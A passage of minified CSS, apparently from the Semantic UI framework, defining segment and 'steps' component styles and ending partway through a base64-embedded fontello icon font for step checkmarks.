segment-spin{from{-webkit-transform:rotate(0);transform:rotate(0)}to{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}.ui.basic.segment{background:none;box-shadow:none;border:none;border-radius:0}.ui.clearing.segment:after{content:".";display:block;height:0;clear:both;visibility:hidden}.ui.red.segment:not(.inverted){border-top:2px solid #DB2828}.ui.inverted.red.segment{background-color:#DB2828!important;color:#FFF!important}.ui.orange.segment:not(.inverted){border-top:2px solid #F2711C}.ui.inverted.orange.segment{background-color:#F2711C!important;color:#FFF!important}.ui.yellow.segment:not(.inverted){border-top:2px solid #FBBD08}.ui.inverted.yellow.segment{background-color:#FBBD08!important;color:#FFF!important}.ui.olive.segment:not(.inverted){border-top:2px solid #B5CC18}.ui.inverted.olive.segment{background-color:#B5CC18!important;color:#FFF!important}.ui.green.segment:not(.inverted){border-top:2px solid #21BA45}.ui.inverted.green.segment{background-color:#21BA45!important;color:#FFF!important}.ui.teal.segment:not(.inverted){border-top:2px solid #00B5AD}.ui.inverted.teal.segment{background-color:#00B5AD!important;color:#FFF!important}.ui.blue.segment:not(.inverted){border-top:2px solid #2185D0}.ui.inverted.blue.segment{background-color:#2185D0!important;color:#FFF!important}.ui.violet.segment:not(.inverted){border-top:2px solid #6435C9}.ui.inverted.violet.segment{background-color:#6435C9!important;color:#FFF!important}.ui.purple.segment:not(.inverted){border-top:2px solid #A333C8}.ui.inverted.purple.segment{background-color:#A333C8!important;color:#FFF!important}.ui.pink.segment:not(.inverted){border-top:2px solid #E03997}.ui.inverted.pink.segment{background-color:#E03997!important;color:#FFF!important}.ui.brown.segment:not(.inverted){border-top:2px solid #A5673F}.ui.inverted.brown.segment{background-color:#A5673F!important;color:#FFF!important}.ui.grey.segment:not(.inverted){border-top:2px solid #767676}.ui.inverted.grey.segment{background-color:#767676!important;color:#FFF!important}.ui.black.segment:not(.inverted){border-top:2px solid #1B1C1D}.ui.inverted.black.segment{background-color:#1B1C1D!important;color:#FFF!important}.ui[class*="left aligned"].segment{text-align:left}.ui[class*="right aligned"].segment{text-align:right}.ui[class*="center aligned"].segment{text-align:center}.ui.floated.segment,.ui[class*="left floated"].segment{float:left;margin-right:1em}.ui[class*="right floated"].segment{float:right;margin-left:1em}.ui.inverted.segment{border:none;box-shadow:none}.ui.inverted.segment,.ui.primary.inverted.segment{background:#1B1C1D;color:rgba(255,255,255,.9)}.ui.inverted.segment .segment{color:rgba(0,0,0,.87)}.ui.inverted.segment .inverted.segment{color:rgba(255,255,255,.9)}.ui.inverted.attached.segment{border-color:#555}.ui.secondary.segment{background:#F3F4F5;color:rgba(0,0,0,.6)}.ui.secondary.inverted.segment{background:-webkit-linear-gradient(rgba(255,255,255,.2) 0,rgba(255,255,255,.2) 100%) #4c4f52;background:linear-gradient(rgba(255,255,255,.2) 0,rgba(255,255,255,.2) 100%) #4c4f52;color:rgba(255,255,255,.8)}.ui.tertiary.segment{background:#DCDDDE;color:rgba(0,0,0,.6)}.ui.tertiary.inverted.segment{background:-webkit-linear-gradient(rgba(255,255,255,.35) 0,rgba(255,255,255,.35) 100%) #717579;background:linear-gradient(rgba(255,255,255,.35) 0,rgba(255,255,255,.35) 100%) #717579;color:rgba(255,255,255,.8)}.ui.attached.segment{top:0;bottom:0;border-radius:0;margin:0 -1px;width:calc(100% + 2px);max-width:calc(100% + 2px);box-shadow:none;border:1px solid #D4D4D5}.ui.attached:not(.message)+.ui.attached.segment:not(.top){border-top:none}.ui[class*="top attached"].segment{bottom:0;margin-bottom:0;top:0;margin-top:1rem;border-radius:.28571429rem .28571429rem 0 0}.ui.segment[class*="top attached"]:first-child{margin-top:0}.ui.segment[class*="bottom attached"]{bottom:0;margin-top:0;top:0;margin-bottom:1rem;box-shadow:0 1px 2px 0 rgba(34,36,38,.15),none;border-radius:0 0 .28571429rem .28571429rem}.ui.segment[class*="bottom attached"]:last-child{margin-bottom:0}.ui.mini.segment,.ui.mini.segments .segment{font-size:.78571429rem}.ui.tiny.segment,.ui.tiny.segments .segment{font-size:.85714286rem}.ui.small.segment,.ui.small.segments .segment{font-size:.92857143rem}.ui.segment,.ui.segments .segment{font-size:1rem}.ui.large.segment,.ui.large.segments .segment{font-size:1.14285714rem}.ui.big.segment,.ui.big.segments .segment{font-size:1.28571429rem}.ui.huge.segment,.ui.huge.segments .segment{font-size:1.42857143rem}.ui.massive.segment,.ui.massive.segments .segment{font-size:1.71428571rem}.ui.steps{display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row;-webkit-box-align:stretch;-webkit-align-items:stretch;-ms-flex-align:stretch;align-items:stretch;margin:1em 0;background:0 0;box-shadow:none;line-height:1.14285714em;border-radius:.28571429rem;border:1px solid rgba(34,36,38,.15)}.ui.steps:first-child{margin-top:0}.ui.steps:last-child{margin-bottom:0}.ui.steps .step{position:relative;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-flex:1;-webkit-flex:1 0 auto;-ms-flex:1 0 auto;flex:1 0 auto;-webkit-flex-wrap:wrap;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row;vertical-align:middle;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;margin:0;padding:1.14285714em 2em;background:#FFF;color:rgba(0,0,0,.87);box-shadow:none;border-radius:0;border:none;border-right:1px solid rgba(34,36,38,.15);-webkit-transition:background-color .1s ease,opacity .1s ease,color .1s ease,box-shadow .1s ease;transition:background-color .1s ease,opacity .1s ease,color .1s ease,box-shadow .1s ease}.ui.steps .step:after{position:absolute;z-index:2;content:'';top:50%;right:0;border:solid;background-color:#FFF;width:1.14285714em;height:1.14285714em;border-color:rgba(34,36,38,.15);border-width:0 1px 1px 0;-webkit-transition:background-color .1s ease,opacity .1s ease,color .1s ease,box-shadow .1s ease;transition:background-color .1s ease,opacity .1s ease,color .1s ease,box-shadow .1s ease;-webkit-transform:translateY(-50%) translateX(50%) rotate(-45deg);-ms-transform:translateY(-50%) translateX(50%) rotate(-45deg);transform:translateY(-50%) translateX(50%) rotate(-45deg)}.ui.steps .step:first-child{padding-left:2em;border-radius:.28571429rem 0 0 .28571429rem}.ui.steps .step:last-child{border-radius:0 .28571429rem .28571429rem 0;border-right:none;margin-right:0}.ui.steps .step:only-child{border-radius:.28571429rem}.ui.steps .step .title{font-size:1.14285714em;font-weight:700}.ui.steps .step>.title{width:100%}.ui.steps .step .description{font-weight:400;font-size:.92857143em;color:rgba(0,0,0,.87)}.ui.steps .step>.description{width:100%}.ui.steps .step .title~.description{margin-top:.25em}.ui.steps .step>.icon{line-height:1;font-size:2.5em;margin:0 1rem 0 0}.ui.steps .step>.icon,.ui.steps .step>.icon~.content{display:block;-webkit-box-flex:0;-webkit-flex:0 1 auto;-ms-flex:0 1 auto;flex:0 1 auto;-webkit-align-self:middle;-ms-flex-item-align:middle;align-self:middle}.ui.steps .step>.icon~.content{-webkit-box-flex:1 0 auto;-webkit-flex-grow:1 0 auto;-ms-flex-positive:1 0 auto;flex-grow:1 0 auto}.ui.steps:not(.vertical) .step>.icon{width:auto}.ui.steps .link.step,.ui.steps a.step{cursor:pointer}.ui.ordered.steps{counter-reset:ordered}.ui.ordered.steps .step:before{display:block;position:static;text-align:center;content:counters(ordered,".");-webkit-align-self:middle;-ms-flex-item-align:middle;align-self:middle;margin-right:1rem;font-size:2.5em;counter-increment:ordered;font-family:inherit;font-weight:700}.ui.ordered.steps .step>*{display:block;-webkit-align-self:middle;-ms-flex-item-align:middle;align-self:middle}.ui.vertical.steps{display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;overflow:visible}.ui.vertical.steps .step{-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start;border-radius:0;padding:1.14285714em 2em;border-right:none;border-bottom:1px solid rgba(34,36,38,.15)}.ui.vertical.steps .step:first-child{padding:1.14285714em 2em;border-radius:.28571429rem .28571429rem 0 0}.ui.vertical.steps .step:last-child{border-bottom:none;border-radius:0 0 .28571429rem .28571429rem}.ui.vertical.steps .step:only-child{border-radius:.28571429rem}.ui.vertical.steps .step:after{top:50%;right:0;border-width:0 1px 1px 0;display:none}.ui.vertical.steps .active.step:after{display:block}.ui.vertical.steps .step:last-child:after{display:none}.ui.vertical.steps .active.step:last-child:after{display:block}@media only screen and (max-width:767px){.ui.steps{display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;overflow:visible;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column}.ui.steps .step{width:100%!important;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;border-radius:0;padding:1.14285714em 2em}.ui.steps .step:first-child{padding:1.14285714em 2em;border-radius:.28571429rem .28571429rem 0 0}.ui.steps .step:last-child{border-radius:0 0 .28571429rem .28571429rem}.ui.steps .step:after{display:none!important}.ui.steps .step .content{text-align:center}.ui.ordered.steps .step:before,.ui.steps .step>.icon{margin:0 0 1rem}}.ui.steps .link.step:hover,.ui.steps .link.step:hover::after,.ui.steps a.step:hover,.ui.steps a.step:hover::after{background:#F9FAFB;color:rgba(0,0,0,.8)}.ui.steps .link.step:active,.ui.steps .link.step:active::after,.ui.steps a.step:active,.ui.steps a.step:active::after{background:#F3F4F5;color:rgba(0,0,0,.9)}.ui.steps .step.active{cursor:auto;background:#F3F4F5}.ui.steps .step.active:after{background:#F3F4F5}.ui.steps .step.active .title{color:#4183C4}.ui.ordered.steps .step.active:before,.ui.steps .active.step .icon{color:rgba(0,0,0,.85)}.ui.steps .active.step:after,.ui.steps .step:after{display:block}.ui.steps .active.step:last-child:after,.ui.steps .step:last-child:after{display:none}.ui.steps .link.active.step:hover,.ui.steps .link.active.step:hover::after,.ui.steps a.active.step:hover,.ui.steps a.active.step:hover::after{cursor:pointer;background:#DCDDDE;color:rgba(0,0,0,.87)}.ui.ordered.steps .step.completed:before,.ui.steps .step.completed>.icon:before{color:#21BA45;font-family:Step;content:'\e800'}.ui.steps .disabled.step{cursor:auto;background:#FFF;pointer-events:none}.ui.steps .disabled.step,.ui.steps .disabled.step .description,.ui.steps .disabled.step .title{color:rgba(40,40,40,.3)}.ui.steps .disabled.step:after{background:#FFF}@media only screen and (max-width:991px){.ui[class*="tablet stackable"].steps{display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;overflow:visible;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column}.ui[class*="tablet stackable"].steps .step{-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;border-radius:0;padding:1.14285714em 2em}.ui[class*="tablet stackable"].steps .step:first-child{padding:1.14285714em 2em;border-radius:.28571429rem .28571429rem 0 0}.ui[class*="tablet stackable"].steps .step:last-child{border-radius:0 0 .28571429rem .28571429rem}.ui[class*="tablet stackable"].steps .step:after{display:none!important}.ui[class*="tablet stackable"].steps .step .content{text-align:center}.ui[class*="tablet stackable"].ordered.steps .step:before,.ui[class*="tablet stackable"].steps .step>.icon{margin:0 0 1rem}}.ui.fluid.steps{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;width:100%}.ui.attached.steps{width:calc(100% + 2px)!important;margin:0 -1px;max-width:calc(100% + 2px);border-radius:.28571429rem .28571429rem 0 0}.ui.attached.steps .step:first-child{border-radius:.28571429rem 0 0}.ui.attached.steps .step:last-child{border-radius:0 .28571429rem 0 0}.ui.bottom.attached.steps{margin:0 -1px;border-radius:0 0 .28571429rem .28571429rem}.ui.bottom.attached.steps .step:first-child{border-radius:0 0 0 .28571429rem}.ui.bottom.attached.steps .step:last-child{border-radius:0 0 .28571429rem}.ui.eight.steps,.ui.five.steps,.ui.four.steps,.ui.one.steps,.ui.seven.steps,.ui.six.steps,.ui.three.steps,.ui.two.steps{width:100%}.ui.eight.steps>.step,.ui.five.steps>.step,.ui.four.steps>.step,.ui.one.steps>.step,.ui.seven.steps>.step,.ui.six.steps>.step,.ui.three.steps>.step,.ui.two.steps>.step{-webkit-flex-wrap:nowrap;-ms-flex-wrap:nowrap;flex-wrap:nowrap}.ui.one.steps>.step{width:100%}.ui.two.steps>.step{width:50%}.ui.three.steps>.step{width:33.333%}.ui.four.steps>.step{width:25%}.ui.five.steps>.step{width:20%}.ui.six.steps>.step{width:16.666%}.ui.seven.steps>.step{width:14.285%}.ui.eight.steps>.step{width:12.5%}.ui.mini.step,.ui.mini.steps .step{font-size:.78571429rem}.ui.tiny.step,.ui.tiny.steps .step{font-size:.85714286rem}.ui.small.step,.ui.small.steps .step{font-size:.92857143rem}.ui.step,.ui.steps .step{font-size:1rem}.ui.large.step,.ui.large.steps .step{font-size:1.14285714rem}.ui.big.step,.ui.big.steps .step{font-size:1.28571429rem}.ui.huge.step,.ui.huge.steps .step{font-size:1.42857143rem}.ui.massive.step,.ui.massive.steps .step{font-size:1.71428571rem}@font-face{font-family:Step;src:url(data:application/x-font-ttf;charset=utf-8;;base64,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) format('truetype'),url(data:application/font-woff;charset=utf-8;base64,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